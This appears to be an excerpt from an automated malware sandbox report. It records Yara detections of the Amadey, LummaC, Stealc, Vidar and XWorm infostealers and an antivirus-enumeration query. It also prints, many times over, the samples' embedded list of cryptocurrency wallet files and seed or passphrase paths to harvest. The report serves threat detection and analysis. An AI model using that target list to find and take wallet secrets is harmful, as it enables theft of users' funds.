Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 13.2.S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.1C05b9.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.GIJEGDAKEH.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3440719090.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2519927544.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2877712999.00000000001B1000.00000040.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2502440422.0000000000021000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: f7eded9312.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 2z8320.exe PID: 6012, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2840537714.00000000000D1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 24.2.abu7zly.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: abu7zly.exe PID: 3524, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2z8320.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: 2z8320.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2z8320.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 2z8320.exe	String found in binary or memory: window-state.json
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2z8320.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2z8320.exe	String found in binary or memory: ExodusWeb3
Source: 2z8320.exe	String found in binary or memory: Wallets/Ethereum
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2z8320.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
